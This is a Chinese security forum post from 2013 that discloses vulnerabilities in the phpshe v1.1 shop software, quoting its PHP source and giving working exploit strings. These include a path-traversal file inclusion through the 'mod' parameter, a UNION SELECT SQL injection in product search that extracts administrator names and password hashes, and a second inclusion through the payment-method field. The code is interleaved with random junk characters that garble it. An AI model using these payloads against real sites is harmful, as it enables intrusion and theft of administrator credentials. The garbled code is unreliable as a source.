找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2466|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
' K- E* c! V" S( f/* Phpshe v1.1 Vulnerability
- v8 ]. z, Q1 Q1 U7 H4 e/* ========================5 d' N0 l3 a4 ?% T) F) a$ S
/* By: : Kn1f3
7 A1 b% B/ D2 u. t& R9 r- D6 [6 U- e6 w/* E-Mail : 681796@qq.com% x" y# n5 g1 Q& K
/*******************************************************/
+ u$ w) y1 f+ x0 ]3 r0×00 整体大概参数传输
* v) g# N. u+ N2 Q& V
% P3 o3 z( M# V" r2 ^3 J; L2 J6 D$ w: z$ D3 D5 Q

6 T; w( B8 f4 u. j//common.php
, b$ o5 W; i4 A1 h5 T# q/ _/ n" Xif (get_magic_quotes_gpc()) {, p$ \9 ]' _" l( \' a: l, L* L
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');. i, }- d6 ~6 q# m) V7 P
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');' M# R9 t* v7 ?# R
}
. Y/ n5 S$ k" a6 Gelse {
6 e0 O2 f+ U6 L, H7 e!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');' t0 |& W) V( I1 m
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');2 U7 u0 K$ ^( O; f- x4 Q' M' N
}
2 I1 ?. `, E7 q( V8 i- R" ?, ]session_start();
6 v$ u: Q* K* N8 d0 }$ Y- b0 x2 e!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');/ u% @' t3 i. G& ?( a! Q5 N0 i! O, p. o
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 k9 C2 T$ q9 h9 X, G' j) Y
2 ?+ H" g2 [) d7 ?0×01 包含漏洞/ y$ A+ E4 ]$ ?3 ^' X# t

- f$ M2 _: G9 n9 q/ B- x( f

* l" `$ R) p4 s/ N: p  E8 z//首页文件) L" t! Y8 ]3 T
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ X4 f0 t# R5 [& Y( q, \1 Z# i2 H& kinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. z& o* N" X; y1 Mpe_result();
8 c" @' l8 Q; g/ {' J1 a8 ~?>
( Z* M1 w/ A$ n, G' X# P//common 文件 第15行开始8 u! m0 M, z+ v
url路由配置
: Y" p8 y/ P  E% q. O. |$module = $mod = $act = 'index';  ~6 F, g9 B6 ^( Y) a
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
0 B. f9 W8 r# U8 M$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
+ T1 `$ z, y5 w+ j( P$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
& c9 \# ?9 ]3 h0 y5 R( [//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
7 u0 X# s8 s4 g


7 @$ y4 q. D0 e: H  @ 2 U5 O0 Y6 @) }: v5 G7 v
0×02 搜索注入
5 Q% Y- g+ H0 S! X
# y( F& q0 s/ N9 ]% b<code id="code2">

//product.php文件- s/ h7 B" d9 f7 Q5 E: p
case 'list':  R& e! H) k) R+ ]5 g
$category_id = intval($id);7 D& z( j. {( R. ^& \
$info = $db->pe_select('category', array('category_id'=>$category_id));
, B1 S9 h( z; P1 m//搜索
% r  z. T0 k5 f$ T% e3 u, I$sqlwhere = " and `product_state` = 1";
8 J0 Y# j3 @. c+ r) p4 U6 {% Tpe_lead('hook/category.hook.php');
$ P) x2 @  f' `1 tif ($category_id) {
: F; z( f' O0 f! {where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";  B3 Z5 X5 @+ v
}
4 p& \7 U6 T6 X$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
% B! x1 `. Z4 {: B3 Qif ($_g_orderby) {* p+ [2 J& U# m" I6 y- I
$orderby = explode('_', $_g_orderby);
, I& y5 X% H* ~8 P# ^* k9 ?$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ o. ?' B/ |& @! K* T; n9 W+ G}
0 ^' B4 x* }1 i7 I" B5 q8 a$ velse {) L, H# P/ [& N0 v; |
$sqlwhere .= " order by `product_id` desc";
' i# b" r) i; t/ p6 I7 c; @}; |. V# Q' l0 ^% b# w
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));: d, A) A, F+ I4 u- p7 ?5 v
//热卖排行8 k& k1 g( ~  }7 w
$product_hotlist = product_hotlist();
( g5 R' j# p$ ~//当前路径
. ~) s$ V7 n" I( p$nowpath = category_path($category_id);
5 L0 w- R5 a8 y/ n; Y/ }* \. p9 b: \$seo = pe_seo($info['category_name']);# o" z4 n# h! @( ~; ?- u
include(pe_tpl('product_list.html'));$ k* }3 b8 {9 _# ]; J
//跟进selectall函数库
0 _- `- @- @3 D# y1 K5 Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
7 O* |$ `& c- S; T{& J/ o* \, L: A3 _+ ^' g
//处理条件语句
' D5 {3 E( G" b  ~7 [$sqlwhere = $this->_dowhere($where);
* m% J; b+ d5 ^# g$ Q4 W. }return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
6 F! ^: G3 O; Y+ [& Y' Z6 {}: h. [1 E$ k5 W" c+ _
//exp
3 P$ c1 X9 G# u& z4 I9 E3 b. O9 m& Uproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1: m' U9 l3 G0 Y0 G6 }

</code>* ]" K; a5 u3 V* t3 X

# b! l; c+ i2 G3 D* M( P6 r" S0×03 包含漏洞2
  G' U+ R$ c. G" j
, h6 l& w! Z# Q; k<code id="code3">

//order.php

case 'pay':

" X" c: j: m- x& U: v( F
$order_id = pe_dbhold($_g_id);


2 T" S4 \0 A: ]6 U+ L' T: M, I$ w$cache_payway = cache::get('payway');


5 j! i: k2 o7 z9 K" Yforeach($cache_payway as $k => $v) {


% i, L3 I# E6 n4 M8 V( M( ~$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


1 i1 `- u' |% M  Q3 f, qif ($k == 'bank') {


5 I5 x0 c! }' @5 S/ w4 q$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


& l1 k, u4 k6 G# d1 n7 H/ W}


6 x, n. }  t% N  m}

! o$ }. }% ^* b" h$ r/ e' ?
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

: U9 `" ^6 b6 i! l9 E
!$order['order_id'] && pe_error('订单号错误...');

* h0 S3 x# ]. w1 `
if (isset($_p_pesubmit)) {

, G9 k" H( H1 Y
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


4 V9 h7 Y: n& z$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


8 ]7 c9 V! K4 Dforeach ($info_list as $v) {


- O$ n& z2 a4 h( M( G0 A$order['order_name'] .= "{$v['product_name']};";
  j1 Q" g3 Y) C) V" \- F0 S* {" F+ g7 s3 a

' k7 G; _/ K& c) t; Q( j! e
}

3 Q- T7 k( I, K7 x7 _9 [  ~, ?; ~
echo '正在为您连接支付网站,请稍后...';

9 c, F" C6 C+ l# X7 i! \
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


' U  @  i' A% [5 W) f: p0 s}//当一切准备好的时候就可以进行"鸡肋包含了"

  K8 ^6 F: p  E* |
else {


8 q7 J9 H0 h0 [- ope_error('支付错误...');


: ~" V2 E: X3 ~9 g) x9 W}

: f$ Y- W/ i2 _% C9 `) }% d7 ~! S7 e
}


" n% ?$ [+ Y# @$seo = pe_seo('选择支付方式');

4 f# j& S* Y. d. S  d2 |* v9 Y
include(pe_tpl('order_pay.html'));

8 l- |) ?3 F) g- V" I  e8 m
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
/ z, [9 I$ C# |( a  C

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表